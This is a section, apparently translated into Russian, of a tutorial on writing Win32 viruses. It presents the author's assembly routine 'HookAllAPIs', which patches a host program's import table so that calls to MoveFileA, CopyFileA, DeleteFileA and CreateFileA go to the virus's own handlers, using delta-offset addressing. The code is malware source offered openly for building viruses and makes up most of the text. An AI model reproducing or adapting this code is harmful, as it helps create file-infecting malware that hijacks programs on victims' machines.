Путеводитель по написанию вирусов под Win32

         

[ Мой перехватчик API-функций ]


Далее следует мое дополнение к моей процедуре GetAPI_II. Она базируется на примерно следующей структуре:

db ASCIIz_API_Name dd offset (API_Handler)

Например:

db "CreateFileA",0 dd offset HookCreateFileA

HookCreateFileA - это процедура, которая обрабатывает перехваченную функцию. Код, который я использовал с этими структурами, следующий:

;---[ CUT HERE ]-------------------------------------------------------------

HookAllAPIs: lea edi,[ebp+@@Hookz] ; Указатель на первую API-функцию nxtapi: push edi ; Сохраняем указатель call GetAPI_IT ; Получаем его из таблицы импортов pop edi ; Восстанавливаем указатель jc Next_IT_Struc_ ; Не получилось? Проклятье... ; EAX = адрес API-функции ; EBX = указатель API-функции ; в таблице импортов

xor al,al ; Достигаем конца имени API-функции scasb jnz $-1

mov eax,[edi] ; Получаем смещение обработчика add eax,ebp ; Приводим в соотве. с дельта-см. mov [ebx],eax ; И помещаем в импорты! Next_IT_Struc: add edi,4 ; Получаем следующий элемент ст-ры! cmp byte ptr [edi],"." ; Достигли пследней API-ф-ции? Гр.. jz AllHooked ; Мы перехватили все jmp nxtapi ; Следующий оборот цикла AllHooked: ret

Next_IT_Struc_: xor al,al ; Получаем конец строки scasb jnz $-1 jmp Next_IT_Struc ; И возвращаемся обратно :)

@@Hookz label byte db "MoveFileA",0 ; Несколько примеров dd (offset HookMoveFileA)

db "CopyFileA",0 dd (offset HookCopyFileA)

db "DeleteFileA",0 dd (offset HookDeleteFileA)

db "CreateFileA",0 dd (offset HookCreateFileA)

db "." ; Конец массива :) ;---[ CUT HERE ]-------------------------------------------------------------

Я надеюсь, что здесь все достаточно понятно :).



Содержание раздела